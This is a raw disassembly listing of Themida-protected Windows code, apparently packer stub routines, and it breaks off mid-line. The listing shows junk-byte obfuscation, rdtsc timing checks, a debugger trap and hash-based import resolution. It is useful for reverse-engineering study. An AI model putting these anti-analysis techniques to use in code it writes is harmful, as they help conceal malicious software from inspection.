Themida_:0057F7AFj stosd pusha jnb loc_57F7C5 push ebx pop edi loc_57F7C5: ; CODE XREF: Themida_:0057F7BDj mov cx, bx popa jmp loc_57F7E2 ; --------------------------------------------------------------------------- dw 19A2h dd 0A2F2378Dh, 5F317A2Eh, 41441349h, 6A3D63BFh db 0A4h, 0E5h ; --------------------------------------------------------------------------- loc_57F7E2: ; CODE XREF: Themida_:0057F7C9j lea edi, [ebp+6122FF9h] or [ebp+6122D29h], edx lodsd jmp loc_57F7FD ; --------------------------------------------------------------------------- dd 0A5F3CFE7h, 0E405E013h db 81h ; --------------------------------------------------------------------------- loc_57F7FD: ; CODE XREF: Themida_:0057F7EFj add eax, [esp+24h] jmp loc_57F818 ; --------------------------------------------------------------------------- pop eax sti mov bl, 38h adc al, [ebx-46A49FCEh] stosb xor [esi], bl push edi add [edi], esp cmp al, 0C8h loc_57F818: ; CODE XREF: Themida_:0057F801j nop push eax push edx jmp loc_57F831 ; --------------------------------------------------------------------------- dd 2FDAF3AEh, 61724DEAh, 0E9E98711h, 96AA6FCBh db 9Ah ; --------------------------------------------------------------------------- loc_57F831: ; CODE XREF: Themida_:0057F81Bj rdtsc push eax push edx jmp loc_57F843 ; --------------------------------------------------------------------------- dw 7E54h dd 790802B6h ; --------------------------------------------------------------------------- mov cl, 0CDh clc loc_57F843: ; CODE XREF: Themida_:0057F835j rdtsc push eax push edx rdtsc pop edx pop eax pop edx pop eax pop edx pop eax push eax push eax push edx jnz loc_57F85E jp $+6 loc_57F85E: ; CODE XREF: Themida_:0057F852j rdtsc pusha push ecx pop esi mov cx, 115Ah popa pop edx pop eax nop mov [ebp+6122755h], eax stosd stc stc lea edi, [ebp+612275Dh] add [ebp+612167Dh], ebx lodsd clc add eax, [esp+28h] jb loc_57F892 mov [ebp+6121701h], edx loc_57F892: ; CODE XREF: Themida_:0057F886j stosd sub [ebp+6122F4Dh], esi pop esi pusha mov esi, [ebp+6120779h] popa loc_57F8A2: ; CODE XREF: Themida_:0057F92Ej dec dword ptr [ebp+6123B26h] cmp dword ptr [ebp+6123B26h], 0 jnz short loc_57F8C1 mov dword ptr [esp+1Ch], 0 lea esi, [ebp+61240A6h] jmp esi ; --------------------------------------------------------------------------- loc_57F8C1: ; CODE XREF: Themida_:0057F8AFj push esi lodsd add eax, [esp+28h] xchg eax, edi mov ebx, edi mov al, [ebp+61215C1h] test al, al jz short loc_57F8D8 cmp al, [edi] jnz short loc_57F924 loc_57F8D8: ; CODE XREF: Themida_:0057F8D2j push edi xor al, al loc_57F8DB: ; CODE XREF: Themida_:0057F8DCj scasb jnz short loc_57F8DB pop esi sub edi, ebx push edx cld xor ecx, ecx dec ecx mov edx, ecx loc_57F8E8: ; CODE XREF: Themida_:0057F911j xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh loc_57F8F5: ; CODE XREF: Themida_:0057F94Bj mov dh, 8 loc_57F8F7: ; CODE XREF: Themida_:0057F90Aj shr bx, 1 rcr ax, 1 jnb short loc_57F908 xor ax, 5041h xor bx, 5449h loc_57F908: ; CODE XREF: Themida_:0057F8FDj dec dh jnz short loc_57F8F7 xor ecx, eax xor edx, ebx dec edi jnz short loc_57F8E8 not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edx cmp edx, eax jz short loc_57F933 loc_57F924: ; CODE XREF: Themida_:0057F8D6j pop esi add esi, 4 inc dword ptr [ebp+61219D1h] jmp loc_57F8A2 ; --------------------------------------------------------------------------- loc_57F933: ; CODE XREF: Themida_:0057F922j pop esi stc sub [ebp+61226B9h], ecx jmp loc_57F94D ; --------------------------------------------------------------------------- movsb and edi, [ebx-52h] mov al, ds:78F6BFAEh setalc inc eax loopne loc_57F8F5 loc_57F94D: ; CODE XREF: Themida_:0057F93Bj mov eax, [ebp+61219D1h] js loc_57F967 pusha mov esi, [ebp+61231E1h] mov [ebp+6121D7Dh], edx popa loc_57F967: ; CODE XREF: Themida_:0057F953j mov [ebp+61207B5h], ebx shl eax, 1 pusha mov di, 1795h add si, 89F5h popa pusha mov edx, [ebp+6122DD1h] mov eax, [ebp+612189Dh] popa add eax, [ebp+612275Dh] jz loc_57F99A sub [ebp+6121F09h], esi loc_57F99A: ; CODE XREF: Themida_:0057F98Ej pusha mov edx, [ebp+612245Dh] mov ah, cl popa mov esi, 0 jg loc_57F9CA jns loc_57F9CA jmp loc_57F9CA ; --------------------------------------------------------------------------- push es push ecx mov dword ptr [esi], 0BCA117Ah pop eax or [ebp-5Fh], edi adc edi, [edi+ebx+32h] loc_57F9CA: ; CODE XREF: Themida_:0057F9A9j ; Themida_:0057F9AFj ... sub [ebp+6122145h], ebx xchg eax, esi mov [ebp+6122DA9h], esi lodsw xor [ebp+61222D9h], ebx shl eax, 2 mov [ebp+61217D5h], esi add eax, [ebp+6122559h] mov [ebp+6123241h], edi xchg eax, esi stc lodsd jmp loc_57FA05 ; --------------------------------------------------------------------------- dd 875BD615h, 90513943h db 0F2h ; --------------------------------------------------------------------------- loc_57FA05: ; CODE XREF: Themida_:0057F9F7j ja loc_57FA11 sub [ebp+6122381h], edi loc_57FA11: ; CODE XREF: Themida_:loc_57FA05j mov ecx, [esp+24h] pusha jnz loc_57FA2F jmp loc_57FA2F ; --------------------------------------------------------------------------- db 18h, 2Ch, 0ADh dd 0CEF6DDF9h, 0ABB7801h db 0D7h, 1Bh, 89h ; --------------------------------------------------------------------------- loc_57FA2F: ; CODE XREF: Themida_:0057FA16j ; Themida_:0057FA1Cj add ecx, 6DE908A4h popa add eax, [esp+24h] jmp loc_57FA51 ; --------------------------------------------------------------------------- db 0C1h dd 0AEEB67B7h, 8E1E4990h, 83CD4A81h, 7C333597h ; --------------------------------------------------------------------------- aas loc_57FA51: ; CODE XREF: Themida_:0057FA3Aj mov [esp+1Ch], eax stc add [ebp+6120785h], edi xchg eax, esi or [ebp+6122D21h], esi cld lodsb mov [ebp+6122C39h], ecx xor cl, cl mov [ebp+6121299h], eax jmp loc_57FA7D ; --------------------------------------------------------------------------- dd 4443E44Fh ; --------------------------------------------------------------------------- icebp loc_57FA7D: ; CODE XREF: Themida_:0057FA73j inc cl xor [ebp+6122099h], edi or [ebp+6122D15h], edi loc_57FA8B: ; CODE XREF: Themida_:0057FAE4j rcl al, 1 jnb loc_57FB80 ja loc_57FAAC jmp loc_57FAAC ; --------------------------------------------------------------------------- cmc das fbstp tbyte ptr [ebp+54h] pop ecx adc bl, bl inc cl retn 0CF0Eh ; --------------------------------------------------------------------------- db 10h ; --------------------------------------------------------------------------- loc_57FAAC: ; CODE XREF: Themida_:0057FA93j ; Themida_:0057FA99j rcl al, 1 jnb loc_57FB80 jmp loc_57FAC2 ; --------------------------------------------------------------------------- push ds and esi, [ebp-50h] and eax, 0C098ABC0h loc_57FAC2: ; CODE XREF: Themida_:0057FAB4j rcl al, 1 jb loc_57FB80 mov [ebp+6120435h], eax rcl al, 1 jb loc_57FB80 jmp loc_57FAE2 ; --------------------------------------------------------------------------- db 0DEh, 0DCh, 0D7h db 0CDh, 4Eh ; --------------------------------------------------------------------------- loc_57FAE2: ; CODE XREF: Themida_:0057FAD8j dec cl jns loc_57FA8B jmp loc_57FAF4 ; --------------------------------------------------------------------------- db 0D3h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0B9h, 3Ah, 8Bh ; --------------------------------------------------------------------------- loc_57FAF4: ; CODE XREF: Themida_:0057FAEAj add esp, 20h jnp loc_57FB08 jmp loc_57FB08 ; --------------------------------------------------------------------------- dw 3646h dd 8CABC40Bh ; --------------------------------------------------------------------------- loc_57FB08: ; CODE XREF: Themida_:0057FAF7j ; Themida_:0057FAFDj mov dword ptr [esp-4], 0 jmp loc_57FB1D ; --------------------------------------------------------------------------- db 58h, 0E1h, 0C9h dd 0A440FA8Eh ; --------------------------------------------------------------------------- sti loc_57FB1D: ; CODE XREF: Themida_:0057FB10j mov eax, 1 jb loc_57FB40 jmp loc_57FB40 ; --------------------------------------------------------------------------- db 0CEh, 9, 0DBh dd 9C3D35C1h, 4878E8D5h, 40120F46h, 4730E94Ch ; --------------------------------------------------------------------------- loc_57FB40: ; CODE XREF: Themida_:0057FB22j ; Themida_:0057FB28j sub [ebp+61225E1h], edx lea ecx, [ebp+6127308h] jno loc_57FB65 jnz loc_57FB65 jmp loc_57FB65 ; --------------------------------------------------------------------------- sal dword ptr [eax+ecx-75h], 1 mul dword ptr [esi+58h] pop edx loc_57FB65: ; CODE XREF: Themida_:0057FB4Cj ; Themida_:0057FB52j ... pusha sub si, 1A0h add ebx, [ebp+61228A5h] popa jmp ecx ; --------------------------------------------------------------------------- jo loc_57FB80 sub [ebp+6123239h], eax loc_57FB80: ; CODE XREF: Themida_:0057FA8Dj ; Themida_:0057FAAEj ... mov byte ptr [ebp+61215C1h], 0 pusha mov si, 887Bh mov ecx, 32AE52A1h popa clc popa mov [ebp+6122119h], ecx retn 8 ; --------------------------------------------------------------------------- cmc xchg eax, esi jnp loc_57FBBD jmp loc_57FBBD ; --------------------------------------------------------------------------- dw 8D98h dd 0B796B140h, 711681A2h, 0BBB6990Bh, 743B1958h db 7Ah ; --------------------------------------------------------------------------- loc_57FBBD: ; CODE XREF: Themida_:0057FB9Fj ; Themida_:0057FBA5j push eax pusha push eax push edx rdtsc mov eax, edx pop edx pop eax mov dl, 4Fh popa xchg eax, esi mov [ebp+61219FDh], edi jmp loc_57FBDE ; --------------------------------------------------------------------------- dec eax sti retn ; --------------------------------------------------------------------------- db 42h, 0BAh, 34h db 20h, 0A2h ; --------------------------------------------------------------------------- loc_57FBDE: ; CODE XREF: Themida_:0057FBD1j mov [ebp+6124281h], esi clc mov [ebp+61242B2h], ecx jmp loc_57FBFC ; --------------------------------------------------------------------------- dd 369E634Ah, 0B4E8F1D3h, 0FFC32629h ; --------------------------------------------------------------------------- loc_57FBFC: ; CODE XREF: Themida_:0057FBEBj lea esi, [ebp+6124174h] mov [ebp+61230C9h], eax lea eax, dword_5B8EA1[ebp] pusha pusha xor [ebp+6123051h], edx mov edx, 716FFBA7h popa or ebx, [ebp+61217D1h] popa call eax jmp loc_57FC38 ; --------------------------------------------------------------------------- or [esi], ah cmp al, 0D9h sbb ah, [edi+14h] test al, 0A9h and ebp, [esi-5Fh] push ds xchg eax, esi loc_57FC38: ; CODE XREF: Themida_:0057FC25j pop esi pusha or esi, 47D1FC60h mov ebx, [ebp+6122959h] popa retn ; --------------------------------------------------------------------------- mov [ebp+6121531h], edx mov esi, [ebp+6124281h] jmp loc_57FC62 ; --------------------------------------------------------------------------- db 28h, 27h, 6Dh dd 5D56EC79h db 6Ch, 28h ; --------------------------------------------------------------------------- loc_57FC62: ; CODE XREF: Themida_:0057FC54j mov ecx, [ebp+61242B2h] mov [ebp+6121E29h], esi sub eax, eax pusha jnp loc_57FC7D jle $+6 loc_57FC7D: ; CODE XREF: Themida_:0057FC71j popa mov ebx, ecx stc jmp loc_57FD3E ; --------------------------------------------------------------------------- mov [ebp+6121E99h], ecx loc_57FC8C: ; CODE XREF: Themida_:0057FD40j xor ah, [esi] sub [ebp+6122AC5h], esi cld mov dl, 2 mov [ebp+6121E45h], ebx jmp loc_57FD1C ; --------------------------------------------------------------------------- jz loc_57FCB2 pusha mov edx, 241E1802h movzx edx, dx popa loc_57FCB2: ; CODE XREF: Themida_:0057FCA2j ; Themida_:0057FD1Ej xor al, dl jmp loc_57FCC8 ; --------------------------------------------------------------------------- db 78h, 0CAh, 3Ch dd 0F0C6E29Dh, 95796477h, 7C9AFF3Ah ; --------------------------------------------------------------------------- loc_57FCC8: ; CODE XREF: Themida_:0057FCB4j add eax, 8A751D7Ah sub [ebp+6121D2Dh], eax mov cl, ah pusha mov ebx, 31F7160Eh mov edi, [ebp+61225FDh] popa ror eax, cl pusha cld jle loc_57FD02 jmp loc_57FD02 ; --------------------------------------------------------------------------- db 0D8h, 0A3h, 0BDh dd 0A57B70FCh, 0AD77CFABh, 0F4D40022h ; --------------------------------------------------------------------------- sbb al, 0B3h loc_57FD02: ; CODE XREF: Themida_:0057FCE6j ; Themida_:0057FCECj popa xor [ebp+61226FDh], ebx xor eax, 98D10842h mov [ebp+61227E5h], edi dec dl sub [ebp+6121B0Dh], eax loc_57FD1C: ; CODE XREF: Themida_:0057FC9Dj or dl, dl jnz loc_57FCB2 jns loc_57FD30 mov [ebp+6122F35h], esi loc_57FD30: ; CODE XREF: Themida_:0057FD24j dec ebx mov [ebp+6122551h], eax inc esi mov [ebp+612249Dh], edx loc_57FD3E: ; CODE XREF: Themida_:0057FC81j or ebx, ebx jnz loc_57FC8C jbe locret_57FD4D stc locret_57FD4D: ; CODE XREF: Themida_:0057FD46j iret ; --------------------------------------------------------------------------- jmp near ptr byte_57FD5B ; --------------------------------------------------------------------------- db 0F4h dd 90DF648Dh db 0D0h, 42h, 0F9h byte_57FD5B db 0 ; CODE XREF: Themida_:0057FD4Ej dd 6DBD0900h, 60061224h, 810F50h, 5A000000h, 0D18D0350h dd 5E061228h, 60000061h, 8E9h, 393B0C00h, 76C12A19h, 0D8E981D4h dd 6173410Fh, 95290000h, 61233B1h, 8C0F0000h, 0Bh, 6E9h dd 0BCBA7A00h db 5Ch, 3, 0A7h ; --------------------------------------------------------------------------- loc_57FDA7: ; CODE XREF: Themida_:loc_57F604j lea eax, [ebp+6123B48h] mov [ebp+6120B1Dh], edi mov [ebp+6120C69h], eax jmp loc_57FDCD ; --------------------------------------------------------------------------- dw 678Fh dd 0B4B564B3h, 75ACBFA4h, 42BFDA23h ; --------------------------------------------------------------------------- pop esi loc_57FDCD: ; CODE XREF: Themida_:0057FDB9j lea eax, [ebp+61240C4h] stc mov [ebp+6121665h], eax jmp short loc_57FDF0 ; --------------------------------------------------------------------------- dd 4 dup(0) dd 0E2h ; --------------------------------------------------------------------------- loc_57FDF0: ; CODE XREF: Themida_:0057FDDAj lea eax, [ebp+61243D7h] mov [ebp+6122FE9h], eax cmp dword ptr [ebp+612430Eh], 0 jz loc_57FF3E mov byte ptr [ebp+61215C1h], 56h call near ptr loc_57FE18+1 cmp [ebp+1Fh], ebp loc_57FE18: ; CODE XREF: Themida_:0057FE10p aam 50h mov eax, [esp+4] mov eax, [eax] mov [esp+4], eax pop eax push dword ptr [ebp+61217F1h] lea eax, [ebp+6123B48h] call eax mov [ebp+6124302h], eax mov byte ptr [ebp+61215C1h], 56h call near ptr loc_57FE46+3 push edx loc_57FE46: ; CODE XREF: Themida_:0057FE40p mov eax, 8B509CA8h inc esp and al, 4 mov eax, [eax] mov [esp+4], eax pop eax push dword ptr [ebp+61217F1h] lea eax, [ebp+6123B48h] call eax mov [ebp+6124306h], eax push 4 push 0EE537534h add dword ptr [esp], 11AC9ACCh mov eax, [ebp+6124312h] add eax, 1F4h shl eax, 2 push eax mov [esp], eax push 0 call dword ptr [ebp+6124306h] mov [ebp+612430Ah], eax mov ebx, eax mov eax, 0FFFFFFFFh call dword ptr [ebp+6122FE9h] mov eax, ebx call dword ptr [ebp+6122FE9h] jmp loc_57FF3E ; --------------------------------------------------------------------------- cmp dword ptr [ebp+612430Eh], 0 jnz loc_57FEBF retn ; --------------------------------------------------------------------------- loc_57FEBF: ; CODE XREF: Themida_:0057FEB8j push edi mov edi, [ebp+612430Ah] stosd add dword ptr [ebp+612430Ah], 4 pop edi retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+612430Eh], 0 jnz loc_57FEDE retn ; --------------------------------------------------------------------------- loc_57FEDE: ; CODE XREF: Themida_:0057FED7j pusha sub dword ptr [ebp+612430Ah], 4 loc_57FEE6: ; CODE XREF: Themida_:loc_57FF39j mov ebx, [ebp+612430Ah] cmp dword ptr [ebx-4], 0FFFFFFFFh jnz loc_57FF1C call near ptr loc_57FEFB+4 loc_57FEFB: ; CODE XREF: Themida_:0057FEF6p add [eax-74B00000h], al inc esp and al, 4 mov eax, [eax] mov [esp+4], eax pop eax push 0 push dword ptr [ebx] call dword ptr [ebp+6124302h] popa retn ; --------------------------------------------------------------------------- jmp loc_57FF39 ; --------------------------------------------------------------------------- loc_57FF1C: ; CODE XREF: Themida_:0057FEF0j push 0A44064DEh add dword ptr [esp], 5BC01B22h push 0 push dword ptr [ebx] call dword ptr [ebp+6124302h] sub dword ptr [ebp+612430Ah], 4 loc_57FF39: ; CODE XREF: Themida_:0057FF17j jmp loc_57FEE6 ; --------------------------------------------------------------------------- loc_57FF3E: ; CODE XREF: Themida_:0057FE03j ; Themida_:0057FEACj dec eax jmp loc_580917 ; --------------------------------------------------------------------------- dd 18D9B2D4h, 501ABDDBh, 0B35428FCh, 8921C521h, 54108FB6h dd 0B6E8683Dh, 9EF8D40Fh, 0A7F35503h, 15D99489h, 5816FFD0h dd 0E0063FEEh, 0CC26D730h, 377FC4B9h, 0A2E2624Dh, 0CCF4D512h dd 0A1F15503h, 15D99786h, 4509FFCAh, 0FE0620F4h, 0DB3DC92Ch dd 5414CAADh, 0A6F52E79h, 9EB9C412h, 0A1E41B02h, 0CD98192h dd 4508B0CCh, 820FAh, 13h dup(0) dword_57FFFC dd 50h dup(0) ; --------------------------------------------------------------------------- aam 0B2h fst dword ptr [ecx] sal dword ptr [ecx+3FF44306h], 1 push es jecxz short loc_580184 retf ; --------------------------------------------------------------------------- dw 0DB35h dd 525587B5h, 0A1A77D7Ch, 0CCB6D504h, 0A0E85410h, 98BD383h dd 5906B1D0h, 0FD4F6DFCh, 0DC3DDD69h, 4306CAA6h, 0AEE27A6Eh dd 0BCD5BA4Fh, 0BDFC5E1Ah, 9D9DF82h, 5600B3D0h ; --------------------------------------------------------------------------- loc_580184: ; CODE XREF: Themida_:00580147j jmp fword ptr [ebp+4Fh] ; --------------------------------------------------------------------------- db 0E7h dd 0C620C269h, 5F18CAB9h, 0BAF56170h, 88B6D141h, 0BDF84956h dd 88B9293h, 4200A69Eh, 0E1566DE9h, 0C820C326h, 0C4B9h dd 48h dup(0) ; --------------------------------------------------------------------------- aam 0B2h fstp dword ptr [edi] int 3 ; Trap to Debugger mov esi, 3FFE5C0Ch add eax, esp imul edx, eax, 0CAB8C63Dh sbb eax, 0E52E6E5Bh cmpsb add al, 0DEh clc mov bl, [ecx] dec esi rep stosb mov dword ptr [ecx-492FED74h], 24BB5001h dec eax mov bl, 30h retf ; --------------------------------------------------------------------------- dw 0DB27h dd 490C99F4h, 0EDEA6B69h, 8088BD6Bh, 0ABEE5A13h, 128CD3CBh dd 530EB0D2h, 0B35224BBh, 0C43DD62Fh, 571087F4h, 0E3FE7C72h dd 0CCBCDE00h, 0BAEE5E04h, 5C8D8186h, 451AB0C7h, 0FC543DBBh dd 0C433D62Eh, 0FAh, 61h dup(0) dd 1090B5D4h, 580CFFDBh, 0E3533FE9h, 8836C13Dh, 5221CAFAh dd 0B3A77D74h, 9EBFDF13h, 0A6BD5617h, 1ED98086h, 1701BADBh dd 0FA482CF6h, 0C83ED139h, 1A118FA0h, 0E3E3607Ch, 8EA1D10Ch dd 0A7903113h, 5C8AD493h, 5209B1D7h, 0F74339F8h, 892BC669h dd 5323CAB5h, 0E3F47B6Fh, 8FF8C20Eh, 0A5FE5A04h, 5CD79782h dd 4406B7EAh, 0FF4F2BBBh, 0C625842Ch, 1A01CDBAh, 0A8F5616Ah dd 95B6D141h, 0ABEF541Bh, 0C9h, 0E0h dup(0) aWlnumdllsprot db 'WLNumDLLsProt',0 a0 db '0',0 dd 8 dup(0) dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0 db 3 dup(0) ; --------------------------------------------------------------------------- loc_580917: ; CODE XREF: Themida_:0057FF3Fj jmp loc_58373B ; --------------------------------------------------------------------------- jnz loc_580925 mov dx, si loc_580925: ; CODE XREF: Themida_:0058091Cj cld push 0 push edx call sub_580931 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580931 proc near ; CODE XREF: Themida_:00580929p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_580931 endp ; --------------------------------------------------------------------------- db 80h, 8Fh, 5Dh db 8Bh, 0C0h ; --------------------------------------------------------------------------- mov ebx, [ebp+61213E1h] cmp dword ptr [ebp+6122F01h], 0 jnz short loc_58095E cmp dword ptr [ebp+6122149h], 0 jz short loc_580971 loc_58095E: ; CODE XREF: Themida_:00580953j push eax push ebx mov eax, eax mov eax, 1 lea ebx, [ebp+614ABABh] call ebx ; _iob pop ebx pop eax loc_580971: ; CODE XREF: Themida_:0058095Cj cmp dword ptr [ebp+6122149h], 0 jz short loc_58098B push eax push ebx mov eax, 1 lea ebx, [ebp+614AA5Ch] call ebx ; _iob pop ebx pop eax loc_58098B: ; CODE XREF: Themida_:00580978j mov ebx, eax mov dx, ax mov eax, eax jmp loc_5809A7 ; --------------------------------------------------------------------------- db 9Eh dd 440664EEh, 17DA98Ah, 3E4D7E0Dh db 15h, 8, 0C2h ; --------------------------------------------------------------------------- loc_5809A7: ; CODE XREF: Themida_:00580992j cmp dword ptr [ebp+612294Dh], 0 jz loc_580BC6 push 0 push ebx call sub_5809BF and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5809BF proc near ; CODE XREF: Themida_:005809B7p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5809BF endp ; --------------------------------------------------------------------------- db 99h dd 32138F96h, 0F8634D0h, 168Bh, 11E900h, 2F3C0000h, 36FC1B7Ch dd 0A5338CB1h, 2DEE9953h, 839AD121h, 120889BDh, 840F0006h dd 1C6h, 6E9h, 50F72500h, 607D3B90h, 858BC4B6h, 6120889h dd 3E805h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 50A6979Eh, 0D78B6056h, 5A61CA8Bh dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0FD4C355h, 688h, 899D8B00h, 8D061224h dd 124E2485h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 9A9FFDBDh, 65D2819Ch, 903F1001h dd 0F50F48Ah, 84h, 6A9000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 3E6A6FC3h, 9E806394h dd 7D8589F5h, 8D061227h, 124E0285h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0E38BB472h dd 0BC55CB5Fh, 14E9C1h, 6C1C0000h, 2C393439h, 83BDDDCh dd 1DF81138h, 485BA135h, 6090FE73h, 0EE9h, 4F8F8200h, 4410FCDDh dd 0BD6273ECh, 611885E5h, 0D38B6650h, 0D38B6690h, 132195FFh dd 9D8B0612h, 6122395h, 660CC483h, 0F064EB81h, 8DDEBF0Fh dd 124E0285h, 91B58906h, 66061232h, 69ABDA81h, 52505090h dd 5E8h, 131D3600h, 0F5B30D8h, 5A585A31h, 0E9525050h, 0Dh dd 9A6C27F1h, 0B05A33EBh, 0F37EDB90h, 52310FAAh, 5A5A6160h dd 6A9058h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 50F6C7C3h, 6EE056D9h, 0F5D08B60h, 0D78B026Ah dd 4CC38166h, 1495FF7Eh, 57006AEDh, 615B1DB3h, 19719D8Bh ; --------------------------------------------------------------------------- adc al, [esi] loc_580BC6: ; CODE XREF: Themida_:005809AEj mov dword ptr [ebp+6124E35h], 1 mov edx, 2FB26D23h xchg eax, esi mov ebx, 1AD509A3h push eax jmp loc_580BEE ; --------------------------------------------------------------------------- db 24h, 0B0h, 0FAh dd 0E4F05D12h, 0C59713C2h db 0DBh, 9Dh ; --------------------------------------------------------------------------- loc_580BEE: ; CODE XREF: Themida_:00580BDCj xchg eax, esi push 0 push edx call sub_580BFA and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580BFA proc near ; CODE XREF: Themida_:00580BF2p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_580BFA endp ; --------------------------------------------------------------------------- dw 9EBDh ; --------------------------------------------------------------------------- push 0BB63BDA8h not dword ptr [esi-226A7453h] add [edx], dl push es mov ebx, [ebp+61218BDh] mov [ebp+6124DE6h], esi push 0 push ebp call sub_580C31 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580C31 proc near ; CODE XREF: Themida_:00580C29p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_580C31 endp ; --------------------------------------------------------------------------- db 3Eh, 0C7h, 55h dd 607291D0h, 2D21B52Bh, 8A0F0612h, 4, 0A3F2B866h, 0E9BD8361h dd 106120Eh, 28850Fh, 9E80000h, 12000000h, 81B91087h, 431F5343h dd 5ADF8B66h, 44D9D29h, 0F8830612h, 7850F05h, 0B8000000h dd 0 ; --------------------------------------------------------------------------- mov dl, 18h cmp dword ptr [ebp+6123409h], 0 jz loc_580CF6 jmp loc_580CAE ; --------------------------------------------------------------------------- dd 97ECA8E1h, 0F602674h, 97A6670Ch db 7Eh, 97h ; --------------------------------------------------------------------------- loc_580CAE: ; CODE XREF: Themida_:00580C9Bj pusha mov [ebp+6121505h], edi call dword ptr [ebp+6123409h] popa push 0 push edi call sub_580CC7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580CC7 proc near ; CODE XREF: Themida_:00580CBFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_580CC7 endp ; --------------------------------------------------------------------------- db 42h dd 12E9B6h, 55150000h, 2C4B2726h, 0A75B3616h, 41AF2057h dd 53A938F0h, 0B1D9D89h ; --------------------------------------------------------------------------- adc al, [esi] loc_580CF6: ; CODE XREF: Themida_:00580C95j cmp dword ptr [ebp+612309Dh], 0 jz loc_580D58 push 0 push ebx call sub_580D0E and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580D0E proc near ; CODE XREF: Themida_:00580D06p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_580D0E endp ; --------------------------------------------------------------------------- dw 0F172h dd 2F04F219h, 2FCDBE74h, 0B8DE8Bh, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 2866C352h, 101CA3A9h, 79EBD824h, 5DD1BB66h ; --------------------------------------------------------------------------- loc_580D58: ; CODE XREF: Themida_:00580CFDj pusha mov ebx, ecx add [ebp+612329Dh], ebx mov eax, [ebp+61218A9h] mov [ebp+61219CDh], edi add eax, 2 jmp loc_580D7D ; --------------------------------------------------------------------------- db 0B3h, 40h, 0E7h dd 3633870Bh ; --------------------------------------------------------------------------- sahf loc_580D7D: ; CODE XREF: Themida_:00580D70j mov [ebp+6124DDEh], eax mov [ebp+6120375h], edi mov byte ptr [eax], 0FFh or [ebp+6121305h], edx mov byte ptr [ebp+61215C1h], 53h mov [ebp+61229E1h], eax push 0E593A58Ah jmp loc_580DB2 ; --------------------------------------------------------------------------- db 0A9h, 0E7h, 0EAh ; --------------------------------------------------------------------------- xor eax, 0D03E208h pop eax loc_580DB2: ; CODE XREF: Themida_:00580DA4j xor dword ptr [esp], 1922ED52h push 0 push edx call sub_580DC4 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580DC4 proc near ; CODE XREF: Themida_:00580DBCp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_580DC4 endp ; --------------------------------------------------------------------------- dd 0BA66ED64h, 0B5FFF6ACh, 6123101h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0D3C35646h, 80119046h, 0E8CE807Ch dd 827A858Dh, 0BD010615h, 6120C55h, 9D8BD0FFh, 6122C91h dd 29D18589h, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 613F2DC3h, 0E77E67D4h, 2561BD83h dd 0F010612h, 16085h, 0CE900h, 7C1E0000h, 5C865EF8h, 0DBA75CDh dd 6A614D29h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0EEC353h, 89F23E20h, 1222D18Dh dd 0C185C606h, 45061215h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 66C35242h, 68030F3Dh, 0D32DC097h, 0E95AF850h dd 13h, 39C177C3h, 732B6777h, 6F67BB73h, 0D3301596h, 6884030Bh dd 74098856h, 52505250h, 310FDE8Ah, 0AE9h, 8EA53400h, 3F57DC5Eh dd 5AF466EBh, 0E8310F58h, 12h, 0CEB1289Eh, 0E64FB2CAh dd 0C10376D6h, 0AFC6F8Dh, 5A56C9C2h, 81585A5Bh, 0B06C2404h dd 0B5FF6656h, 6123101h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 9CC35242h, 97F28A5Fh, 66A605EAh, 8D210BBAh dd 15827A85h, 81958B06h, 0FF061213h, 0D18589D0h, 6A061220h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 62020000h, 89F4C5F6h, 122371B5h, 6AD0FF06h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0A942C357h, 0C7EAC9E5h, 0DF8B6641h, 0E89BB960h dd 850F1550h, 0 ; --------------------------------------------------------------------------- popa cmp dword ptr [ebp+6122709h], 1 jnz loc_5810A3 jno loc_580FC6 mov ebx, [ebp+61214E1h] loc_580FC6: ; CODE XREF: 